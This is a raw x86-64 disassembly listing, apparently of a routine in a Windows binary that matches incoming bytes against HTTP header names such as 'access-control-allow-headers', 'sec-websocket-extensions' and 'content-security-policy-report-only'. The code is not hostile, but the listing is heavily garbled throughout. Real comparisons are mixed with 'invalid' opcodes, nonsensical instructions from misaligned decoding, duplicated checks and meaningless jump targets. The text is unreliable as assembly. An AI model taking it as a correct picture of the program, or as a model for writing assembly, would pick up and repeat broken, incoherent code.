movzx edx, byte [rcx + 7]
cmp edx, 0x6c
cli
insb byte [rdi], dx
cli
insb byte [rdi], dx
je 0x140081776
add byte [rax], al
cmp edx, 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x63
jne case.0x14007f7ae.105
invalid
jns 0x14007f0f4
invalid
add byte [rax + 0xf6f0a79], al
cmp byte [rcx + 0xa], 0x6f
jne case.0x14007f7ae.105
or ch, byte [rdi + 0xf]
test ebp, ebx
invalid
cmp byte [rcx + 0xb], 0x64
jne case.0x14007f7ae.105
cmp byte [rcx + 0xc], 0x69
jne case.0x14007f7ae.105
invalid
add byte [rax], al
cmp byte [rcx + 0xd], 0x6e
jne case.0x14007f7ae.105
mov al, 2
mov dl, 0x67
mov r8d, recv
jmp case.0x14005f6a2.621
cmp byte [rcx], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 1], 0x63
jns 0x14007f136
invalid
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf650379], al
test dword [rcx - 0x7fffffd9], ecx
cmp byte [rcx + 3], 0x65
jne case.0x14007f7ae.105
jns 0x14007f14c
jne case.0x14007f7ae.105
mov dword [rdi], esp
add byte [rax], al
cmp byte [rcx + 4], 0x73
jne case.0x14007f7ae.105
jns 0x14007f157
jae case.0x140069261.508
test dword [rdi + 0x27], edi
add byte [rax], al
invalid
cmp byte [rcx + 5], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x63
jne case.0x14007f7ae.105
invalid
add byte [rax], al
jns 0x14007f178
invalid
invalid
cmp byte [rcx + 8], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x74
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 0xb], 0x72
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 0xc], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x6c
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 0x12], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 0x13], 0x77
jne case.0x14007f7ae.105
add byte es:[rax], al
jns case.0x14006a935.494
ja 0x14007f1fa
test ecx, ebp
add byte es:[rax], al
cmp byte [rcx + 0x14], 0x2d
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0x51
push rcx
movzx edx, byte [rcx + 0x15]
cmp edx, 0x6d
je 0x1400818ac
movsd dword [rdi], dword [rsi]
add byte es:[rax], al
push rcx
adc eax, 0xf6dfa83
test byte [rbp - 0x7cffffda], ah
movsd dword [rdi], dword [rsi]
add byte es:[rax], al
invalid
cli
movsd dword [rdi], dword [rsi]
add byte es:[rax], al
cmp edx, 0x68
jne case.0x14007f7ae.105
push 0x26c9850f
add byte [rax], al
cmp byte [rcx + 0x16], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 0x17], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 0x18], 0x64
jne case.0x14007f7ae.105
add byte es:[rax], al
cmp byte [rcx + 0x19], 0x65
jne case.0x14007f7ae.105
invalid
invalid
add byte es:[rax], al
test dword [rcx - 0x7fffffda], esp
jns 0x14007f255
cmp byte [rcx + 0x1a], 0x72
jne case.0x14007f7ae.105
jb 0x14007f24c
test dword [rdi - 0x4fffffda], edx
invalid
mov al, 6
jmp case.0x140135a1f.365
and dword [rsi], 0
invalid
and dword [rsi], 0
add byte [rdi], cl
movzx edx, byte [rcx]
movzx edx, byte [rcx]
cmp edx, 0x75
je 0x14008044a
cmp edx, 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 1], 0x74
test dword [rbp + 0x26], ebx
add byte [rax], al
cmp byte [rcx + 4], 0x63
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 5], 0x74
jne case.0x14007f7ae.105
add byte es:[rax], al
jns 0x14007f28e
je 0x14007f29a
test dword [rcx + 0x26], ecx
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x74
jne case.0x14007f7ae.105
invalid
invalid
add byte es:[rax], al
cmp byte [rcx + 8], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x61
jne case.0x14007f7ae.105
jns 0x14007f2ba
invalid
cmp byte [rcx + 0xa], 0x6e
jne case.0x14007f7ae.105
invalid
or ch, byte [rsi + 0xf]
test dword [rdi], edx
add byte es:[rax], al
invalid
cmp byte [rcx + 0xb], 0x73
jne case.0x14007f7ae.105
invalid
invalid
add byte es:[rax], al
test dword [0xc007f2f3], ecx
jns case.0x140135a1f.221
invalid
cmp byte [rcx + 0xc], 0x70
jo 0x14007f2e0
jne case.0x14007f7ae.105
test dword [rbx], eax
add byte es:[rax], al
cmp byte [rcx + 0xd], 0x6f
jne case.0x14007f7ae.105
test ecx, edi
invalid
add byte [rax], al
test ecx, edi
and eax, 0x79800000
invalid
cmp byte [rcx + 0xe], 0x72
jne case.0x14007f7ae.105
jb 0x14007f2f4
test edi, ebp
and eax, 0x79800000
cmp byte [rcx + 0xf], 0x74
jne case.0x14007f7ae.105
in eax, 0x25
add byte [rax], al
pcmpeqb mm1, qword [rdi]
test ebp, esp
and eax, 0x79800000
jns 0x14007f307
sub eax, 0x25db850f
in eax, 0x25
add byte [rax], al
cmp byte [rcx + 0x10], 0x2d
jne case.0x14007f7ae.105
jns 0x14007f307
sub eax, 0x25db850f
add byte [rax], al
cmp byte [rcx + 0x11], 0x73
jne case.0x14007f7ae.105
add byte [rax + 0xf651279], al
test edi, eax
invalid
and eax, 0x79800000
jns 0x14007f328
invalid
invalid
cmp byte [rcx + 0x12], 0x65
jne case.0x14007f7ae.105
invalid
invalid
add byte [rax], al
cmp byte [rcx + 0x13], 0x63
jne case.0x14007f7ae.105
invalid
invalid
invalid
add byte [rax], al
jns 0x14007f328
invalid
test dword [rbp - 0x7fffffdb], edi
jns 0x14007f333
cmp byte [rcx + 0x14], 0x75
jne case.0x14007f7ae.105
jne 0x14007f330
test dword [rbx - 0x7fffffdb], esi
jns 0x14007f33e
adc eax, 0xa9850f72
and eax, 0x79800000
invalid
invalid
jns 0x14007f349
jb 0x14007f33a
test dword [rcx - 0x7fffffdb], ebp
cmp byte [rcx + 0x16], 0x69
jne case.0x14007f7ae.105
jns 0x14007f349
imul ecx, dword [rdi], 0x259f85
add byte [rax + 0xf741779], al
invalid
je case.0x140065142.535
cmp byte [rcx + 0x17], 0x74
jne case.0x14007f7ae.105
test dword [rbp - 0x4fffffdb], edx
mov dl, 0x79
mov al, 0x42
mov dl, 0x79
mov r8d, 0x18
mov eax, 0x18
add byte [rax], al
add cl, ch
invalid
push rax
sti
invalid
jmp case.0x14005f6a2.621
movzx edx, byte [rcx]
adc dword [rbx - 0x7bf09206], eax
loopne 0x14007f36e
cmp edx, 0x6d
je 0x14008053f
add byte [rax], al
cmp edx, 0x63
jne case.0x14007f7ae.105
movzx edx, byte [rcx + 1]
cmp edx, 0x61
je 0x140081514
add dword [rbx - 0x7bf09e06], eax
lahf
and dword [rax], eax
add byte [rbx - 0x7af09006], al
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x6e
invalid
invalid
cmp edx, 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x6e
jns 0x14007f383
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
test dword [rcx + 0x25], edx
add byte [rax], al
cmp byte [rcx + 3], 0x74
jne case.0x14007f7ae.105
je case.0x14006cab3.261
test dword [rdi + 0x25], eax
add byte [rax], al
cmp byte [rcx + 4], 0x65
jne case.0x14007f7ae.105
jns 0x14007f399
jne case.0x14007f7ae.105
and eax, 0x79800000
add eax, 0x33850f6e
and eax, 0x79800000
jns 0x14007f3af
cmp byte [rcx + 5], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x74
jne case.0x14007f7ae.105
jns 0x14007f3af
je case.0x140065142.536
test dword [rcx], ebp
and eax, 0x79800000
invalid
add byte [rax + 0xf2d0779], al
test dword [rdi], ebx
and eax, 0x79800000
add byte [rax], al
cmp byte [rcx + 8], 0x74
jne case.0x14007f7ae.105
invalid
jns 0x14007f3d0
cmp byte [rcx + 7], 0x2d
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 8], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x79
jne case.0x14007f7ae.105
jns 0x14007f3d8
test dword [rbx], ecx
and eax, 0x79800000
cmp byte [rcx + 0xa], 0x70
jne case.0x14007f7ae.105
or dh, byte [rax + 0xf]
test dword [rcx], eax
and eax, 0x1db00000
mov al, 0x1d
mov dl, 0x65
mov r8d, recv
jmp case.0x14005f6a2.621
cli
invalid
invalid
cli
invalid
cmp byte [rcx], 0x61
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 1], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
invalid
and al, 0
invalid
invalid
invalid
cmp byte [rcx + 3], 0x65
jne case.0x14007f7ae.105
and al, 0
invalid
jne case.0x14007f7ae.105
and al, 0
add byte [rax + 0xf730479], al
test ecx, eax
and al, 0
add byte [rax + 0xf730579], al
cmp byte [rcx + 5], 0x73
invalid
cmp byte [rcx + 4], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x73
jne case.0x14007f7ae.105
invalid
jae 0x14007f42c
test dword [rdi - 0x7fffffdc], esi
jns 0x14007f42b
add byte [rax + 0xf2d0679], al
cmp byte [rcx + 6], 0x2d
jne case.0x14007f7ae.105
invalid
lodsd eax, dword [rsi]
and al, 0
invalid
sub eax, 0x24ad850f
add byte [rax], al
test dword [rbp - 0x7fffffdc], ebp
jns 0x14007f436
lodsd eax, dword [rsi]
and al, 0
add byte [rax + 0xf630779], al
test dword [rbx - 0x7fffffdc], esp
jns 0x14007f441
cmp byte [rcx + 7], 0x63
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 8], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x6e
jns 0x14007f44c
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
add byte [rax + 0xf740a79], al
cmp byte [rcx + 0xa], 0x74
jne case.0x14007f7ae.105
or dh, byte [rdi + rcx - 0x7b]
test dword [rax + rax], esp
add byte [rax + 0xf720b79], al
jb 0x14007f468
je 0x14007f45e
test dword [rbp - 0x7fffffdc], eax
jns 0x14007f462
cmp byte [rcx + 0xb], 0x72
jne case.0x14007f7ae.105
jb 0x14007f468
test dword [rbx + 0x24], edi
add byte [rax], al
cmp byte [rcx + 0xc], 0x6f
jne case.0x14007f7ae.105
test dword [rcx + 0x24], esi
add byte [rax], al
cmp byte [rcx + 0xd], 0x6c
jns 0x14007f478
insb byte [rdi], dx
jne case.0x14007f7ae.105
cmp byte [rcx + 0xe], 0x2d
jne case.0x14007f7ae.105
invalid
pop rbp
and al, 0
add byte [rax + 0xf610f79], al
test dword [rbx + 0x24], edx
add byte [rax], al
cmp byte [rcx + 0xf], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 0x10], 0x6c
adc byte [rdi + rcx - 0x7b], ch
and al, 0
jne case.0x14007f7ae.105
add byte [rax + 0xf6c1179], al
test dword [rdi], edi
and al, 0
cmp byte [rcx + 0x11], 0x6c
jne case.0x14007f7ae.105
add byte [rax + 0xf6f1279], al
cmp byte [rcx + 0x12], 0x6f
jne case.0x14007f7ae.105
test dword [0xc007f4c9], esi
jns 0x14007f4ba
cmp byte [rcx + 0x13], 0x77
jne case.0x14007f7ae.105
and al, 0
invalid
ja 0x14007f4b8
test dword [rbx], ebp
and al, 0
add byte [rax + 0xf2d1479], al
adc al, 0x2d
invalid
cmp byte [rcx + 0x14], 0x2d
jne case.0x14007f7ae.105
test dword [rcx], esp
cmp byte [rcx + 0x15], 0x63
jne case.0x14007f7ae.105
invalid
and al, 0
invalid
adc eax, 0x17850f63
and al, 0
add byte [rax + 0xf721679], al
test dword [0xc007f4f1], ecx
or eax, 0x80000024
cmp byte [rcx + 0x16], 0x72
jne case.0x14007f7ae.105
invalid
and al, 0
invalid
or eax, 0x80000024
cmp byte [rcx + 0x17], 0x65
jne case.0x14007f7ae.105
jns 0x14007f4e6
jne case.0x14007f7ae.105
cmp byte [rcx + 0x18], 0x64
jne case.0x14007f7ae.105
and eax, dword [rax]
invalid
and eax, dword [rax]
add byte [rax + 0xf651979], al
test edi, ebp
cmp byte [rcx + 0x19], 0x65
jne case.0x14007f7ae.105
out dx, eax
and eax, dword [rax]
add byte [rax + 0xf6e1a79], al
cmp byte [rcx + 0x1a], 0x6e
invalid
test ebp, esp
cmp byte [rcx + 0x1a], 0x6e
jns 0x14007f507
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
and eax, dword [rax]
add byte [rax + 0xf741b79], al
cmp byte [rcx + 0x1b], 0x74
invalid
cmp byte [rcx + 0x1b], 0x74
jne case.0x14007f7ae.105
test ebx, ebx
and eax, dword [rax]
add byte [rax + 0xf691c79], al
jns 0x14007f51d
invalid
invalid
test ecx, edx
cmp byte [rcx + 0x1c], 0x69
jne case.0x14007f7ae.105
and eax, dword [rax]
invalid
jns 0x14007f51d
imul ecx, dword [rdi], 0x23d185
and eax, dword [rax]
add byte [rax + 0xf611d79], al
test edi, eax
and eax, dword [rax]
add byte [rax], al
cmp byte [rcx + 0x1e], 0x6c
jne case.0x14007f7ae.105
invalid
invalid
cmp byte [rcx + 0x1d], 0x61
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0x1e], 0x6c
jne case.0x14007f7ae.105
invalid
invalid
add byte [rax + 0x4173b205], dh
mov al, 5
mov dl, reloc.WS2_32.dll_WSAStartup
jae 0x14007f562
mov eax, 0x1f
add eax, 0xb84173b2
invalid
jae 0x14007f562
mov eax, 0x1f
jmp case.0x14005f6a2.621
cmp byte [rcx], 0x73
jne case.0x14007f7ae.105
add byte [rax + 0xf650179], al
test dword [rbx - 0x7fffffdd], ebx
jns 0x14007f543
cmp byte [rcx + 1], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
invalid
invalid
test dword [rcx - 0x7fffffdd], edx
jns 0x14007f54e
cmp byte [rcx + 3], 0x2d
jne case.0x14007f7ae.105
invalid
xchg dword [rbx], esp
add byte [rax], al
sub eax, 0x2387850f
xchg dword [rbx], esp
add byte [rax], al
cmp byte [rcx + 4], 0x77
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x65
jne case.0x14007f7ae.105
jae 0x14007f587
add byte [rax], al
cmp byte [rcx + 6], 0x62
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x63
invalid
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x6b
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0xb], 0x65
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
add byte [rax + 0xf740c79], al
test dword [0xc007f5d0], ebp
and eax, dword [rax]
invalid
invalid
jns 0x14007f5bc
cmp byte [rcx + 0xc], 0x74
jne case.0x14007f7ae.105
and eax, dword [rax]
invalid
cmp byte [rcx + 0xd], 0x2d
sub eax, 0x2323850f
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0xe], 0x65
jns 0x14007f5c7
jne case.0x14007f7ae.105
jns 0x14007f5c7
jne case.0x14007f7ae.105
sbb dword [rbx], esp
add byte [rax], al
cmp byte [rcx + 0xf], 0x78
js 0x14007f5d4
jne case.0x14007f7ae.105
test dword [rdi], ecx
and eax, dword [rax]
add byte [rax + 0xf741079], al
test dword [0xc007f5f8], eax
jns 0x14007f5e8
cmp byte [rcx + 0x10], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 0x11], 0x65
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 0x12], 0x6e
jns 0x14007f5f3
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
test ecx, esi
and al, byte [rax]
add byte [rax + 0xf731379], al
test edi, esp
and al, byte [rax]
cmp byte [rcx + 0x13], 0x73
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf691479], al
test ebp, ebx
and al, byte [rax]
cmp byte [rcx + 0x14], 0x69
jne case.0x14007f7ae.105
jns case.0x14006cab3.238
imul ecx, dword [rdi], 0x22dd85
add byte [rax + 0xf6f1579], al
test ebx, edx
and al, byte [rax]
add byte [rax + 0xf6e1679], al
invalid
outsb dx, byte [rsi]
invalid
test ecx, ecx
cmp byte [rcx + 0x15], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 0x16], 0x6e
invalid
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
and al, byte [rax]
add byte [rax + 0x4173b23c], dh
mov eax, 0x17
mov al, 0x3c
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8d, 0x17
jmp case.0x14005f6a2.621
clc
invalid
movzx edx, byte [rcx]
cmp edx, 0x63
invalid
invalid
je 0x1400805aa
cmp edx, 0x61
jne case.0x14007f7ae.105
cli
invalid
cmp byte [rcx + 1], 0x63
jne case.0x14007f7ae.105
invalid
wait
and al, byte [rax]
add byte [rax], al
test dword [rbx - 0x7fffffde], ebx
jns 0x14007f643
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
add byte [rax], al
invalid
test dword [rcx - 0x7fffffde], edx
jns 0x14007f64e
add byte [rax], al
cmp byte [rcx + 3], 0x65
jne case.0x14007f7ae.105
invalid
xchg dword [rdx], esp
add byte [rax], al
invalid
jne case.0x14007f7ae.105
xchg dword [rdx], esp
add byte [rax], al
invalid
add byte [rax + 0xf700479], al
cmp byte [rcx + 4], 0x70
add al, 0x70
jne case.0x14007f7ae.105
test dword [rbp + 0x22], edi
add byte [rax], al
cmp byte [rcx + 5], 0x74
jne case.0x14007f7ae.105
je 0x14007f670
test dword [rbx + 0x22], esi
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14007f7ae.105
and al, byte [rax]
invalid
and al, byte [rax]
add byte [rax + 0xf630779], al
jns 0x14007f67a
invalid
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 7], 0x63
jne case.0x14007f7ae.105
invalid
jns 0x14007f67a
invalid
cmp byte [rcx + 8], 0x68
jne case.0x14007f7ae.105
and al, byte [rax]
invalid
jns 0x14007f685
push 0x2255850f
and al, byte [rax]
add byte [rax + 0xf610979], al
test dword [rbx + 0x22], ecx
add byte [rax], al
invalid
add byte [rax], al
cmp byte [rcx + 9], 0x61
jne case.0x14007f7ae.105
invalid
jns 0x14007f690
invalid
add byte [rax + 0xf720a79], al
cmp byte [rcx + 0xa], 0x72
jne case.0x14007f7ae.105
or dh, byte [rdx + 0xf]
test dword [rcx + 0x22], eax
add byte [rax], al
and al, byte [rax]
add byte [rax + 0xf730b79], al
test dword [rdi], esi
and al, byte [rax]
add byte [rax + 0xf650c79], al
test dword [0xf007f6cf], ebp
and al, byte [rax]
add byte [rax + 0x4174b201], dh
invalid
invalid
cmp byte [rcx + 0xb], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 0xc], 0x65
jne case.0x14007f7ae.105
and al, byte [rax]
invalid
add byte [rax + 0x4174b201], dh
mov eax, recv
jmp case.0x14005f6a2.621
or eax, 0xe9000000
add byte [rax], al
add cl, ch
call 0xc107f6b3
cmp dword [rbx + 0xf], esi
jae 0x14007f6ce
cmp byte [rcx], 0x73
jne case.0x14007f7ae.105
jae 0x14007f6ce
test dword [0xc007f6e7], edx
jns 0x14007f6c8
cmp byte [rcx + 1], 0x65
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax + 0xf630279], al
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
jns 0x14007f6d3
invalid
test dword [rcx], eax
and al, byte [rax]
add byte [rax + 0xf2d0379], al
test edi, esi
and dword [rax], eax
cmp byte [rcx + 3], 0x2d
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf770479], al
test ebp, ebp
in eax, dx
cmp byte [rcx + 4], 0x77
jne case.0x14007f7ae.105
in eax, dx
and dword [rax], eax
invalid
in eax, dx
and dword [rax], eax
add byte [rax + 0xf650579], al
test ebx, esp
jrcxz case.0x140079275.227
invalid
cmp byte [rcx + 5], 0x65
jne case.0x14007f7ae.105
jrcxz case.0x140079275.227
add byte [rax], al
jrcxz case.0x140079275.227
add byte [rax], al
add byte [rax + 0xf620679], al
test ecx, ebx
and dword [rax], eax
cmp byte [rcx + 6], 0x62
jne case.0x14007f7ae.105
invalid
invalid
add byte [rax + 0xf730779], al
test edi, ecx
and dword [rax], eax
cmp byte [rcx + 7], 0x73
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf6f0879], al
test ebp, eax
invalid
cmp byte [rcx + 8], 0x6f
jne case.0x14007f7ae.105
invalid
and dword [rax], eax
add byte [rax + 0xf630979], al
jns case.0x14006cccb.392
invalid
jne case.0x14007f7ae.105
invalid
jns 0x14007f72b
invalid
cmp byte [rcx + 9], 0x63
jns case.0x14006cccb.392
invalid
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0xa], 0x6b
jne case.0x14007f7ae.105
or ch, byte [rbx + 0xf]
test dword [rcx - 0x7fffffdf], esi
invalid
jns 0x14007f736
imul ecx, dword [rdi], 0xffffff85
mov cl, 0x21
add byte [rax], al
cmp byte [rcx + 0xb], 0x65
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 0xc], 0x74
or al, 0x74
je 0x14007f746
jne case.0x14007f7ae.105
test dword [rbp - 0x7fffffdf], ebx
popfq
and dword [rax], eax
add byte [rax + 0xf2d0d79], al
jns 0x14007f74c
sub eax, 0x2193850f
add byte [rax], al
invalid
jns 0x14007f757
cmp byte [rcx + 0xd], 0x2d
jne case.0x14007f7ae.105
jns 0x14007f74c
sub eax, 0x2193850f
add byte [rax], al
cmp byte [rcx + 0xe], 0x76
jne case.0x14007f7ae.105
jbe 0x14007f75a
test dword [rcx - 0x7fffffdf], ecx
mov dword [rcx], esp
add byte [rax], al
cmp byte [rcx + 0xf], 0x65
jne case.0x14007f7ae.105
jns 0x14007f762
jne case.0x14007f7ae.105
and dword [rax], eax
add byte [rax + 0xf721079], al
test dword [rbp + 0x21], esi
cmp byte [rcx + 0x10], 0x72
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0x11], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 0x12], 0x69
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf6f1379], al
test dword [rdi + 0x21], edx
and dword [rax], eax
invalid
cmp byte [rcx + 0x13], 0x6f
jne case.0x14007f7ae.105
and dword [rax], eax
invalid
mov al, 0x3f
mov dl, WSAGetLastError
mov r8d, setsockopt
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
adc dh, bh
invalid
jmp case.0x14005f6a2.621
movzx edx, byte [rcx]
add edx, 0xffffff9c
cmp edx, 0x12
ja case.0x14007f7ae.105
adc dword [rbx - 0x57c633e], eax
adc cl, byte [rdi]
xchg dword [rcx], edi
and dword [rax], eax
add byte [rbp + rcx*4 + 5], cl
pop rbp
cdq
lea r8, [0x140209104]
sbb byte [rax], al
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
cmp byte [rcx + 1], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x74
jne case.0x14007f7ae.105
invalid
mov al, 0x20
mov dl, 0x65
mov r8d, 3
jmp case.0x14005f6a2.621
cmp byte [rcx], 0x63
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 1], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x6e
jns case.0x14006cb25.221
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
test ecx, ebp
and byte [rax], al
add byte [rax + 0xf740379], al
test edi, ebx
cmp byte [rcx + 3], 0x74
jne case.0x14007f7ae.105
and byte [rax], al
invalid
and byte [rax], al
add byte [rax + 0xf650479], al
add al, 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x6e
invalid
test ebx, ecx
add byte [rax], al
cmp byte [rcx + 4], 0x65
add al, 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x6e
jne case.0x14007f7ae.105
and byte [rax], al
add byte [rax + 0xf740679], al
test ecx, eax
cmp byte [rcx + 6], 0x74
jne case.0x14007f7ae.105
and byte [rax], al
invalid
and byte [rax], al
add byte [rax + 0xf2d0779], al
test dword [rdi - 0x7fffffe0], esi
invalid
jns 0x14007f82d
cmp byte [rcx + 7], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x73
jne case.0x14007f7ae.105
jae 0x14007f836
test dword [rbp - 0x7fffffe0], ebp
cmp byte [rcx + 9], 0x65
jne case.0x14007f7ae.105
invalid
invalid
and byte [rax], al
invalid
jns 0x14007f838
jne case.0x14007f7ae.105
test dword [rbx - 0x7fffffe0], esp
jns 0x14007f843
and byte [rax], al
add byte [rax + 0xf630a79], al
cmp byte [rcx + 0xa], 0x63
jne case.0x14007f7ae.105
and byte [rax], al
invalid
or ah, byte [rbx + 0xf]
invalid
test dword [rcx - 0x7fffffe0], ebx
jns case.0x140135a1f.215
and byte [rax], al
add byte [rax + 0xf750b79], al
cmp byte [rcx + 0xb], 0x75
jne case.0x14007f7ae.105
and byte [rax], al
invalid
jne 0x14007f854
test dword [rdi - 0x7fffffe0], ecx
jns 0x14007f859
cmp byte [rcx + 0xc], 0x72
jb 0x14007f85e
jne case.0x14007f7ae.105
test dword [rbp - 0x7fffffe0], eax
jns 0x14007f864
cmp byte [rcx + 0xd], 0x69
jne case.0x14007f7ae.105
imul ecx, dword [rdi], 0x207b85
add byte [rax + 0xf740e79], al
je case.0x14006cab3.234
test dword [rbx + 0x20], edi
add byte [rax], al
cmp byte [rcx + 0xe], 0x74
jne case.0x14007f7ae.105
je case.0x14006cab3.234
test dword [rcx + 0x20], esi
add byte [rax], al
jno 0x14007f886
cmp byte [rcx + 0xf], 0x79
jne case.0x14007f7ae.105
vmwrite rcx, qword [rdi]
test dword [rdi + 0x20], esp
add byte [rax], al
cmp byte [rcx + 0x10], 0x2d
jne case.0x14007f7ae.105
sub eax, 0x205d850f
add byte [rax], al
cmp byte [rcx + 0x11], 0x70
jne case.0x14007f7ae.105
cmp byte [rcx + 0x12], 0x6f
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0x13], 0x6c
jns 0x14007f8a6
insb byte [rdi], dx
jne case.0x14007f7ae.105
add byte [rax + 0xf691479], al
test dword [0xc007f8c5], esi
jns 0x14007f8bc
cmp byte [rcx + 0x14], 0x69
jne case.0x14007f7ae.105
cmp byte [rcx + 0x15], 0x63
jne case.0x14007f7ae.105
adc eax, 0x2b850f63
and byte [rax], al
add byte [rax + 0xf791679], al
jns 0x14007f8c7
jns 0x14007f8c2
invalid
cmp byte [rcx + 0x16], 0x79
jns 0x14007f8c7
jns 0x14007f8c2
jne case.0x14007f7ae.105
test dword [rcx], esp
and byte [rax], al
add byte [rax + 0xf2d1779], al
cmp byte [rcx + 0x17], 0x2d
invalid
test dword [rdi], edx
and byte [rax], al
invalid
sub eax, 0x2017850f
add byte [rax], al
invalid
jne case.0x14007f7ae.105
add byte [rax + 0xf721879], al
cmp byte [rcx + 0x18], 0x72
jne case.0x14007f7ae.105
test dword [0xc007f8ed], ecx
jns 0x14007f8e8
invalid
cmp byte [rcx + 0x19], 0x65
sbb dword [rbp + 0xf], esp
test dword [rbx], eax
and byte [rax], al
add byte [rax + 0xf701a79], al
cmp byte [rcx + 0x1a], 0x70
invalid
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 0x1a], 0x70
jne case.0x14007f7ae.105
test ecx, edi
invalid
add byte [rax], al
jo 0x14007f8ea
test ecx, edi
invalid
add byte [rax], al
cmp byte [rcx + 0x1b], 0x6f
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0x1c], 0x72
sbb al, 0x72
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0x1d], 0x74
jne case.0x14007f7ae.105
fistp dword [rdi]
add byte [rax], al
jns 0x14007f914
je 0x14007f908
test ebx, ebx
invalid
fistp dword [rdi]
add byte [rax], al
cmp byte [rcx + 0x1e], 0x2d
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0x1f], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 0x20], 0x6e
and byte [rsi + 0xf], ch
test dword [rbp - 0x7fffffe1], edi
mov ebp, 0x8000001f
jne case.0x14007f7ae.105
mov ebp, 0x8000001f
cmp byte [rcx + 0x21], 0x6c
jns 0x14007f940
insb byte [rdi], dx
jne case.0x14007f7ae.105
mov al, 0x1c
mov dl, 0x79
mov r8d, 0x22
and al, byte [rax]
add byte [rax], al
and al, byte [rax]
add byte [rax], al
jmp case.0x14005f6a2.621
outsb dx, byte [rsi]
cmc
invalid
dec dword [rdi]
mov dh, 0x11
movzx edx, byte [rcx]
add edx, 0xffffff9f
cmp edx, 0x16
ja case.0x14007f7ae.105
ret 0x839f
xchg ebp, eax
invalid
lea r8, [0x140209198]
movsxd rdx, dword [r8 + rdx*4]
